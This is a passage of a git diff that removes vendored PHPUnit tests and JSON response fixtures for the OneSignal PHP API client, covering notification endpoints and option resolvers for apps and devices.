580e638ecc..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_update.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_add.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_add.json deleted file mode 100644 index 6744c184cd..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_add.json +++ /dev/null @@ -1 +0,0 @@ -{"id": "458dcec4-cf53-11e3-add2-000c2940e62c", "recipients": 3} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_cancel.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_cancel.json deleted file mode 100644 index 580e638ecc..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_cancel.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_get_all.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_get_all.json deleted file mode 100644 index 3fa328b45e..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_get_all.json +++ /dev/null @@ -1,127 +0,0 @@ -{ - "total_count": 1, - "offset": 0, - "limit": 50, - "notifications":[ - { - "adm_big_picture": "", - "adm_group": "", - "adm_group_message": { - "en": "" - }, - "adm_large_icon": "", - "adm_small_icon": "", - "adm_sound": "", - "spoken_text": [], - "alexa_ssml": null, - "alexa_display_title": null, - "amazon_background_data": false, - "android_accent_color": "", - "android_group": "", - "android_group_message": { - "en": "" - }, - "android_led_color": "", - "android_sound": "", - "android_visibility": 1, - "app_id": "3beb3078-e0f1-4629-af17-fde833b9f716", - "big_picture": "", - "buttons": [{"id":"test1","text":"Download","icon":""}], - "canceled": false, - "chrome_big_picture": "", - "chrome_icon": "", - "chrome_web_icon": "https://img.onesignal.com/t/73b9b966-f19e-4410-8b5d-51ebdef4652e.png", - "chrome_web_image": "", - "chrome_web_badge": "", - "content_available": false, - "contents":{ - "en": "Come by and check out our new Jordan's!!! (Shoes) \uD83C\uDF83\uD83D\uDE4A\uD83D\uDC7B" - }, - "converted": 1, - "data": { - "your_data_key": "your_data_value" - }, - "delayed_option": "immediate", - "delivery_time_of_day": "1:15PM", - "errored": 1, - "excluded_segments": ["3 Days Inactive"], - "failed": 0, - "firefox_icon": "", - "headings": { - "en": "Thomas' Greatest Site in the World!! \uD83D\uDE1C\uD83D\uDE01" - }, - "id": "e664a747-324c-406a-bafb-ab51db71c960", - "include_player_ids": null, - "include_external_user_ids": null, - "channel_for_external_user_ids": "push", - "included_segments": ["All"], - "thread_id": null, - "ios_badgeCount": 1, - "ios_badgeType": "None", - "ios_category": "", - "ios_sound": "", - "apns_alert": null, - "isAdm": false, - "isAndroid": true, - "isChrome": false, - "isChromeWeb": true, - "isAlexa": false, - "isFirefox": true, - "isIos": true, - "isSafari": true, - "isWP": false, - "isWP_WNS": false, - "isEdge": null, - "large_icon": "", - "priority": 5, - "queued_at": 1557946677, - "remaining": 0, - "send_after": 1557946620, - "completed_at": 1557946677, - "small_icon": "", - "successful": 386, - "received": null, - "tags": null, - "filters": null, - "template_id": null, - "ttl": null, - "url": "https://mysite.com", - "web_url": null, - "app_url": null, - "web_buttons": null, - "web_push_topic": null, - "wp_sound": "", - "wp_wns_sound": "", - "platform_delivery_stats": { - "chrome_web_push": { - "successful": 14, - "failed": 0, - "errored": 0 - }, - "android": { - "errored": 1, - "successful": 368, - "failed": 0 - }, - "safari_web_push": { - "successful": 2, - "failed": 0, - "errored": 0 - }, - "ios": { - "successful": 1, - "failed": 0, - "errored": 0 - }, - "firefox_web_push": { - "successful": 1, - "failed": 0, - "errored": 0 - } - }, - "ios_attachments": [ - "https://img.onesignal.com/n/44843933-68d4-450c-af5c-5e5c1a9d946e.jpg" - ] - } - ] -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_get_one.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_get_one.json deleted file mode 100644 index e091e2cb29..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_get_one.json +++ /dev/null @@ -1,36 +0,0 @@ -{ - "id": "481a2734-6b7d-11e4-a6ea-4b53294fa671", - "successful": 15, - "failed": 1, - "converted": 3, - "remaining": 0, - "queued_at": 1415914655, - "send_after": 1415914655, - "completed_at": 1415914656, - "url": "https://yourWebsiteToOpen.com", - "data": { - "foo": "bar", - "your": "custom metadata" - }, - "canceled": false, - "headings": { - "en": "English and default language heading", - "es": "Spanish language heading" - }, - "contents": { - "en": "English language content", - "es": "Hola" - }, - "platform_delivery_stats": { - "ios": { - "success": 5, - "failed": 1, - "errored": 0 - }, - "android": { - "success": 10, - "failed": 0, - "errored": 0 - } - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_history.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_history.json deleted file mode 100644 index c4e9524ab2..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_history.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true, "destination_url": "https://onesignal-aws-link.com"} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_open.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_open.json deleted file mode 100644 index 580e638ecc..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/notifications_open.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true} diff --git a/vendor/norkunas/onesignal-php-api/tests/NotificationsTest.php b/vendor/norkunas/onesignal-php-api/tests/NotificationsTest.php deleted file mode 100644 index 9d6d659246..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/NotificationsTest.php +++ /dev/null @@ -1,320 +0,0 @@ -createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame(OneSignal::API_URL.'/notifications/481a2734-6b7d-11e4-a6ea-4b53294fa671?app_id=fakeApplicationId', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - - return new MockResponse($this->loadFixture('notifications_get_one.json'), ['http_code' => 200]); - }); - - $notifications = new Notifications($client, new ResolverFactory($client->getConfig())); - - $responseData = $notifications->getOne('481a2734-6b7d-11e4-a6ea-4b53294fa671'); - - self::assertSame([ - 'id' => '481a2734-6b7d-11e4-a6ea-4b53294fa671', - 'successful' => 15, - 'failed' => 1, - 'converted' => 3, - 'remaining' => 0, - 'queued_at' => 1415914655, - 'send_after' => 1415914655, - 'completed_at' => 1415914656, - 'url' => 'https://yourWebsiteToOpen.com', - 'data' => ['foo' => 'bar', 'your' => 'custom metadata'], - 'canceled' => false, - 'headings' => [ - 'en' => 'English and default language heading', - 'es' => 'Spanish language heading', - ], - 'contents' => [ - 'en' => 'English language content', - 'es' => 'Hola', - ], - 'platform_delivery_stats' => [ - 'ios' => [ - 'success' => 5, - 'failed' => 1, - 'errored' => 0, - ], - 'android' => [ - 'success' => 10, - 'failed' => 0, - 'errored' => 0, - ], - ], - ], $responseData); - } - - public function testGetAll(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame(OneSignal::API_URL.'/notifications?app_id=fakeApplicationId', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('notifications_get_all.json'), ['http_code' => 200]); - }); - - $notifications = new Notifications($client, new ResolverFactory($client->getConfig())); - - $responseData = $notifications->getAll(); - - self::assertSame([ - 'total_count' => 1, - 'offset' => 0, - 'limit' => 50, - 'notifications' => [ - [ - 'adm_big_picture' => '', - 'adm_group' => '', - 'adm_group_message' => ['en' => ''], - 'adm_large_icon' => '', - 'adm_small_icon' => '', - 'adm_sound' => '', - 'spoken_text' => [], - 'alexa_ssml' => null, - 'alexa_display_title' => null, - 'amazon_background_data' => false, - 'android_accent_color' => '', - 'android_group' => '', - 'android_group_message' => ['en' => ''], - 'android_led_color' => '', - 'android_sound' => '', - 'android_visibility' => 1, - 'app_id' => '3beb3078-e0f1-4629-af17-fde833b9f716', - 'big_picture' => '', - 'buttons' => [['id' => 'test1', 'text' => 'Download', 'icon' => '']], - 'canceled' => false, - 'chrome_big_picture' => '', - 'chrome_icon' => '', - 'chrome_web_icon' => 'https://img.onesignal.com/t/73b9b966-f19e-4410-8b5d-51ebdef4652e.png', - 'chrome_web_image' => '', - 'chrome_web_badge' => '', - 'content_available' => false, - 'contents' => [ - 'en' => 'Come by and check out our new Jordan\'s!!! (Shoes) 🎃🙊👻', - ], - 'converted' => 1, - 'data' => ['your_data_key' => 'your_data_value'], - 'delayed_option' => 'immediate', - 'delivery_time_of_day' => '1:15PM', - 'errored' => 1, - 'excluded_segments' => ['3 Days Inactive'], - 'failed' => 0, - 'firefox_icon' => '', - 'headings' => [ - 'en' => 'Thomas\' Greatest Site in the World!! 😜😁', - ], - 'id' => 'e664a747-324c-406a-bafb-ab51db71c960', - 'include_player_ids' => null, - 'include_external_user_ids' => null, - 'channel_for_external_user_ids' => 'push', - 'included_segments' => ['All'], - 'thread_id' => null, - 'ios_badgeCount' => 1, - 'ios_badgeType' => 'None', - 'ios_category' => '', - 'ios_sound' => '', - 'apns_alert' => null, - 'isAdm' => false, - 'isAndroid' => true, - 'isChrome' => false, - 'isChromeWeb' => true, - 'isAlexa' => false, - 'isFirefox' => true, - 'isIos' => true, - 'isSafari' => true, - 'isWP' => false, - 'isWP_WNS' => false, - 'isEdge' => null, - 'large_icon' => '', - 'priority' => 5, - 'queued_at' => 1557946677, - 'remaining' => 0, - 'send_after' => 1557946620, - 'completed_at' => 1557946677, - 'small_icon' => '', - 'successful' => 386, - 'received' => null, - 'tags' => null, - 'filters' => null, - 'template_id' => null, - 'ttl' => null, - 'url' => 'https://mysite.com', - 'web_url' => null, - 'app_url' => null, - 'web_buttons' => null, - 'web_push_topic' => null, - 'wp_sound' => '', - 'wp_wns_sound' => '', - 'platform_delivery_stats' => [ - 'chrome_web_push' => [ - 'successful' => 14, - 'failed' => 0, - 'errored' => 0, - ], - 'android' => [ - 'errored' => 1, - 'successful' => 368, - 'failed' => 0, - ], - 'safari_web_push' => [ - 'successful' => 2, - 'failed' => 0, - 'errored' => 0, - ], - 'ios' => [ - 'successful' => 1, - 'failed' => 0, - 'errored' => 0, - ], - 'firefox_web_push' => [ - 'successful' => 1, - 'failed' => 0, - 'errored' => 0, - ], - ], - 'ios_attachments' => [ - 'https://img.onesignal.com/n/44843933-68d4-450c-af5c-5e5c1a9d946e.jpg', - ], - ], - ], - ], $responseData); - } - - public function testAdd(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/notifications', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('notifications_add.json'), ['http_code' => 200]); - }); - - $notifications = new Notifications($client, new ResolverFactory($client->getConfig())); - - $responseData = $notifications->add([ - 'name' => 'My Notification Name', - 'contents' => [ - 'en' => 'English Message', - ], - 'included_segments' => ['All'], - 'data' => ['foo' => 'bar'], - 'web_buttons' => [ - [ - 'id' => 'like-button', - 'text' => 'Like', - 'icon' => 'http://i.imgur.com/N8SN8ZS.png', - 'url' => 'https://yoursite.com', - ], - [ - 'id' => 'like-button-2', - 'text' => 'Like2', - 'icon' => 'http://i.imgur.com/N8SN8ZS.png', - 'url' => 'https://yoursite.com', - ], - ], - ]); - - self::assertSame([ - 'id' => '458dcec4-cf53-11e3-add2-000c2940e62c', - 'recipients' => 3, - ], $responseData); - } - - public function testOpen(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('PUT', $method); - $this->assertSame(OneSignal::API_URL.'/notifications/458dcec4-cf53-11e3-add2-000c2940e62c', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('notifications_open.json'), ['http_code' => 200]); - }); - - $notifications = new Notifications($client, new ResolverFactory($client->getConfig())); - - $responseData = $notifications->open('458dcec4-cf53-11e3-add2-000c2940e62c'); - - self::assertSame([ - 'success' => true, - ], $responseData); - } - - public function testCancel(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('DELETE', $method); - $this->assertSame(OneSignal::API_URL.'/notifications/458dcec4-cf53-11e3-add2-000c2940e62c?app_id=fakeApplicationId', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('notifications_cancel.json'), ['http_code' => 200]); - }); - - $notifications = new Notifications($client, new ResolverFactory($client->getConfig())); - - $responseData = $notifications->cancel('458dcec4-cf53-11e3-add2-000c2940e62c'); - - self::assertSame([ - 'success' => true, - ], $responseData); - } - - public function testHistory(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/notifications/458dcec4-cf53-11e3-add2-000c2940e62c/history', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('notifications_history.json'), ['http_code' => 200]); - }); - - $notifications = new Notifications($client, new ResolverFactory($client->getConfig())); - - $responseData = $notifications->history('458dcec4-cf53-11e3-add2-000c2940e62c', [ - 'events' => 'clicked', - 'email' => 'your_email@email.com', - ]); - - self::assertSame([ - 'success' => true, - 'destination_url' => 'https://onesignal-aws-link.com', - ], $responseData); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/OneSignalTest.php b/vendor/norkunas/onesignal-php-api/tests/OneSignalTest.php deleted file mode 100644 index 718ae2cfd8..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/OneSignalTest.php +++ /dev/null @@ -1,136 +0,0 @@ -createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame('https://example.com/data.json', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - - return new MockResponse('{"data":[{"id":1},{"id":2}]}', ['http_code' => 200]); - }); - - $request = $oneSignal->getRequestFactory()->createRequest('GET', 'https://example.com/data.json'); - $request = $request->withHeader('Accept', 'application/json'); - - $responseData = $oneSignal->sendRequest($request); - - self::assertSame([ - 'data' => [ - ['id' => 1], - ['id' => 2], - ], - ], $responseData); - } - - public function testSendRequestThrowsIfNotJsonResponse(): void - { - $this->expectException(JsonException::class); - $this->expectExceptionMessage("Response content-type is 'text/html' while a JSON-compatible one was expected."); - - $oneSignal = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame('https://example.com/data.json', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - - return new MockResponse('exampleexample', ['http_code' => 200, 'response_headers' => ['Content-Type' => 'text/html']]); - }); - - $request = $oneSignal->getRequestFactory()->createRequest('GET', 'https://example.com/data.json'); - $request = $request->withHeader('Accept', 'application/json'); - - $oneSignal->sendRequest($request); - } - - public function testSendRequestThrowsIfJsonDecodeFails(): void - { - $this->expectException(JsonException::class); - $this->expectExceptionMessage('Syntax error'); - - $oneSignal = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame('https://example.com/data.json', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - - return new MockResponse('{"data":[{"id":1},{"id":2}]', ['http_code' => 200]); - }); - - $request = $oneSignal->getRequestFactory()->createRequest('GET', 'https://example.com/data.json'); - $request = $request->withHeader('Accept', 'application/json'); - - $oneSignal->sendRequest($request); - } - - public function testSendRequestThrowsIfDecodedJsonIsNotArray(): void - { - $this->expectException(JsonException::class); - $this->expectExceptionMessage('JSON content was expected to decode to an array, string returned.'); - - $oneSignal = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame('https://example.com/data.json', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - - return new MockResponse('"example"', ['http_code' => 200]); - }); - - $request = $oneSignal->getRequestFactory()->createRequest('GET', 'https://example.com/data.json'); - $request = $request->withHeader('Accept', 'application/json'); - - $oneSignal->sendRequest($request); - } - - public function testApiReturnsInstances(): void - { - $oneSignal = $this->createClientMock(); - - self::assertInstanceOf(Apps::class, $oneSignal->api('apps')); - self::assertInstanceOf(Devices::class, $oneSignal->api('devices')); - self::assertInstanceOf(Notifications::class, $oneSignal->api('notifications')); - } - - public function testApiThrowsForUnknownService(): void - { - $this->expectException(InvalidArgumentException::class); - $this->expectExceptionMessage("Undefined api instance called: 'app'."); - - $oneSignal = $this->createClientMock(); - $oneSignal->api('app'); - } - - public function testMagicCallReturnsInstance(): void - { - $oneSignal = $this->createClientMock(); - - self::assertInstanceOf(Apps::class, $oneSignal->apps()); - } - - public function testMagicCallThrowsWithWrongMethod(): void - { - $this->expectException(BadMethodCallException::class); - $this->expectExceptionMessage("Undefined method called: 'app'."); - - $oneSignal = $this->createClientMock(); - /* @phpstan-ignore-next-line */ - $oneSignal->app(); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/OneSignalTestCase.php b/vendor/norkunas/onesignal-php-api/tests/OneSignalTestCase.php deleted file mode 100644 index d9fbeb6f0f..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/OneSignalTestCase.php +++ /dev/null @@ -1,16 +0,0 @@ -getMethod($method); - $method->setAccessible(true); - - return $method; - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/AppOutcomeResolverTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/AppOutcomeResolverTest.php deleted file mode 100644 index 6de0d7ce2b..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/AppOutcomeResolverTest.php +++ /dev/null @@ -1,85 +0,0 @@ -appResolver = new AppOutcomesResolver(); - } - - public function testResolveWithValidValues(): void - { - $expectedData = [ - 'outcome_names' => [ - 'os__session_duration.count', - 'os__click.count', - ], - 'outcome_time_range' => '1mo', - 'outcome_platforms' => [0, 1, 2], - 'outcome_attribution' => 'direct', - ]; - - self::assertEquals( - array_merge($expectedData, [ - 'outcome_platforms' => '0,1,2', - ]), - $this->appResolver->resolve($expectedData) - ); - } - - public function testResolveWithMissingRequiredValue(): void - { - $this->expectException(MissingOptionsException::class); - - $this->appResolver->resolve([]); - } - - public function wrongValueTypesProvider(): iterable - { - yield [['outcome_names' => 100]]; - yield [['outcome_names' => [1, 2]]]; - yield [['outcome_time_range' => 1]]; - yield [['outcome_time_range' => '2d']]; - yield [['outcome_platforms' => 0]]; - yield [['outcome_platforms' => ['0']]]; - yield [['outcome_platforms' => [100]]]; - yield [['outcome_attribution' => []]]; - yield [['outcome_attribution' => 'indirect']]; - } - - /** - * @dataProvider wrongValueTypesProvider - */ - public function testResolveWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $requiredOptions = [ - 'outcome_names' => ['os__click.count'], - ]; - - $this->appResolver->resolve(array_merge($requiredOptions, $wrongOption)); - } - - public function testResolveWithWrongOption(): void - { - $this->expectException(UndefinedOptionsException::class); - - $this->appResolver->resolve(['wrongOption' => 'wrongValue']); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/AppResolverTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/AppResolverTest.php deleted file mode 100644 index 82277793cb..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/AppResolverTest.php +++ /dev/null @@ -1,108 +0,0 @@ -appResolver = new AppResolver(); - } - - public function testResolveWithValidValues(): void - { - $expectedData = [ - 'name' => 'value', - 'apns_env' => 'sandbox', - 'apns_p12' => 'value', - 'apns_p12_password' => 'value', - 'gcm_key' => 'value', - 'android_gcm_sender_id' => 'value', - 'chrome_key' => 'value', - 'safari_apns_p12' => 'value', - 'chrome_web_key' => 'value', - 'safari_apns_p12_password' => 'value', - 'site_name' => 'value', - 'safari_site_origin' => 'value', - 'safari_icon_16_16' => 'value', - 'safari_icon_32_32' => 'value', - 'safari_icon_64_64' => 'value', - 'safari_icon_128_128' => 'value', - 'safari_icon_256_256' => 'value', - 'chrome_web_origin' => 'value', - 'chrome_web_gcm_sender_id' => 'value', - 'chrome_web_default_notification_icon' => 'value', - 'chrome_web_sub_domain' => 'value', - 'organization_id' => 'value', - ]; - - self::assertEquals($expectedData, $this->appResolver->resolve($expectedData)); - } - - public function testResolveWithMissingRequiredValue(): void - { - $this->expectException(MissingOptionsException::class); - - $this->appResolver->resolve([]); - } - - public function wrongValueTypesProvider(): iterable - { - yield [['name' => 666]]; - yield [['apns_env' => 666]]; - yield [['apns_p12' => 666]]; - yield [['apns_p12_password' => 666]]; - yield [['gcm_key' => 666]]; - yield [['android_gcm_sender_id' => 666]]; - yield [['chrome_key' => 666]]; - yield [['safari_apns_p12' => 666]]; - yield [['chrome_web_key' => 666]]; - yield [['safari_apns_p12_password' => 666]]; - yield [['site_name' => 666]]; - yield [['safari_site_origin' => 666]]; - yield [['safari_icon_16_16' => 666]]; - yield [['safari_icon_32_32' => 666]]; - yield [['safari_icon_64_64' => 666]]; - yield [['safari_icon_128_128' => 666]]; - yield [['safari_icon_256_256' => 666]]; - yield [['chrome_web_origin' => 666]]; - yield [['chrome_web_gcm_sender_id' => 666]]; - yield [['chrome_web_default_notification_icon' => 666]]; - yield [['chrome_web_sub_domain' => 666]]; - yield [['organization_id' => 666]]; - } - - /** - * @dataProvider wrongValueTypesProvider - */ - public function testResolveWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $requiredOptions = [ - 'name' => 'fakeName', - ]; - - $this->appResolver->resolve(array_merge($requiredOptions, $wrongOption)); - } - - public function testResolveWithWrongOption(): void - { - $this->expectException(UndefinedOptionsException::class); - - $this->appResolver->resolve(['wrongOption' => 'wrongValue']); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceFocusResolverTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceFocusResolverTest.php deleted file mode 100644 index af732227da..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceFocusResolverTest.php +++ /dev/null @@ -1,78 +0,0 @@ -deviceFocusResolver = new DeviceFocusResolver(); - } - - public function testResolveWithValidValues(): void - { - $expectedData = [ - 'state' => 'fakeState', - 'active_time' => 245, - ]; - - self::assertEquals($expectedData, $this->deviceFocusResolver->resolve($expectedData)); - } - - public function testResolveDefaultValues(): void - { - $expectedData = [ - 'state' => 'ping', - 'active_time' => 23, - ]; - - self::assertEquals($expectedData, $this->deviceFocusResolver->resolve(['active_time' => 23])); - } - - public function testResolveWithMissingRequiredValue(): void - { - $this->expectException(MissingOptionsException::class); - - $this->deviceFocusResolver->resolve([]); - } - - public function wrongValueTypesProvider(): iterable - { - yield [['state' => 666]]; - yield [['active_time' => 'wrongType']]; - } - - /** - * @dataProvider wrongValueTypesProvider - */ - public function testResolveWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $requiredOptions = [ - 'active_time' => 234, - ]; - - $this->deviceFocusResolver->resolve(array_merge($requiredOptions, $wrongOption)); - } - - public function testResolveWithWrongOption(): void - { - $this->expectException(UndefinedOptionsException::class); - - $this->deviceFocusResolver->resolve(['active_time' => 23, 'wrongOption' => 'wrongValue']); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/DevicePurchaseResolverTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/DevicePurchaseResolverTest.php deleted file mode 100644 index b8f82cd185..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/DevicePurchaseResolverTest.php +++ /dev/null @@ -1,131 +0,0 @@ -devicePurchaseResolver = new DevicePurchaseResolver(); - } - - public function testResolveWithValidValues(): void - { - $expectedData = [ - 'existing' => false, - 'purchases' => [ - [ - 'sku' => 'fakeSku', - 'amount' => 34.98, - 'iso' => 'fakeIso', - ], - ], - ]; - - self::assertEquals($expectedData, $this->devicePurchaseResolver->resolve($expectedData)); - } - - public function testResolveWithMissingRequiredValue(): void - { - $this->expectException(MissingOptionsException::class); - - $this->devicePurchaseResolver->resolve([]); - } - - public function testResolveWithMissingRequiredPurchaseValue(): void - { - $this->expectException(MissingOptionsException::class); - - $wrongData = [ - 'existing' => false, - 'purchases' => [ - [], - ], - ]; - - $this->devicePurchaseResolver->resolve($wrongData); - } - - public function wrongValueTypesProvider(): iterable - { - yield [['existing' => 666]]; - yield [['purchases' => 666]]; - [[ - 'purchases' => [[ - 'sku' => 666, - 'amount' => 56.4, - 'iso' => 'value', - ]], - ]]; - yield [[ - 'purchases' => [[ - 'sku' => 'value', - 'amount' => 'wrongType', - 'iso' => 'value', - ]], - ]]; - yield [[ - 'purchases' => [[ - 'sku' => 'value', - 'amount' => 56.4, - 'iso' => 666, - ]], - ]]; - } - - /** - * @dataProvider wrongValueTypesProvider - */ - public function testResolveWithWrongValueTypes(array $wrongOption): void - { - $this->expectException(InvalidOptionsException::class); - - $requiredOptions = [ - 'purchases' => [[ - 'sku' => 'value', - 'amount' => 56.4, - 'iso' => 'value', - ]], - ]; - - $this->devicePurchaseResolver->resolve(array_merge($requiredOptions, $wrongOption)); - } - - public function testResolveWithWrongPurchasesValueTypes(): void - { - $this->expectException(InvalidOptionsException::class); - - $wrongData = [ - 'existing' => true, - 'purchases' => [ - [ - 'sku' => 666, - 'amount' => 'wrongType', - 'iso' => 666, - ], - ], - ]; - - $this->devicePurchaseResolver->resolve($wrongData); - } - - public function testResolveWithWrongOption(): void - { - $this->expectException(UndefinedOptionsException::class); - - $this->devicePurchaseResolver->resolve(['wrongOption' => 'wrongValue']); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceResolverTest.php b/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceResolverTest.php deleted file mode 100644 index 68f7afa47b..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Resolver/DeviceResolverTest.php +++ /dev/null @@ -1,159 +0,0 @@ -deviceResolver = new DeviceResolver($this->createConfig(), false); - } - - public function testResolveWithValidValues(): void - { - $expectedData = [ - 'identifier' => 'value', - 'language' => 'value', - 'timezone' => 3564, - 'game_version' => 'value', - 'device_model' => 'value', - 'device_os' => 'value', - 'ad_id' => 'value', - 'sdk' => 'value', - 'session_count' => 23, - 'tags' => ['value'], - 'amount_spent' => 34.2, - 'created_at' => 32, - 'playtime' => 56, - 'badge_count' => 12, - 'last_active' => 98, - 'notification_types' => -2, - 'test_type' => 1, - 'long' => 55.1684595, - 'lat' => 22.7624291, - 'country' => 'LT', - 'external_user_id' => 'value', - 'app_id' => 'value', - 'ip' => '127.0.0.1', - ]; - - $this->deviceResolver->setIsNewDevice(false); - self::assertEquals($expectedData, $this->deviceResolver->resolve($expectedData)); - - unset($expectedData['ip']); - - $expectedData += [ - 'device_type' => Devices::CHROME_APP, - ]; - - $this->deviceResolver->setIsNewDevice(true); - - self::assertEquals($expectedData, $this->deviceResolver->resolve($expectedData)); - } - - public function testResolveDefaultValues(): void - { - $expectedData = [ - 'app_id' => 'fakeApplicationId', - ]; - - $this->deviceResolver->setIsNewDevice(false); - self::assertEquals($expectedData, $this->deviceResolver->resolve([])); - - $inputData = [ - 'device_type' => Devices::WINDOWS_PHONE, - ]; - - $this->deviceResolver->setIsNewDevice(true); - self::assertEquals(array_merge($inputData, $expectedData), $this->deviceResolver->resolve($inputData)); - } - - public function testResolveWithMissingRequiredValue(): void - { - $this->expectException(MissingOptionsException::class); - - $this->deviceResolver->setIsNewDevice(true); - $this->deviceResolver->resolve([]); - } - - public function newDeviceWrongValueTypesProvider(): iterable - { - yield [['identifier' => 666]]; - yield [['language' => 666]]; - yield [['timezone' => 'wrongType']]; - yield [['game_version' => 666]]; - yield [['device_model' => 666]]; - yield [['device_os' => 666]]; - yield [['ad_id' => 666]]; - yield [['sdk' => 666]]; - yield [['session_count' => 'wrongType']]; - yield [['tags' => 666]]; - yield [['amount_spent' => 'wrongType']]; - yield [['created_at' => 'wrongType']]; - yield [['playtime' => 'wrongType']]; - yield [['badge_count' => 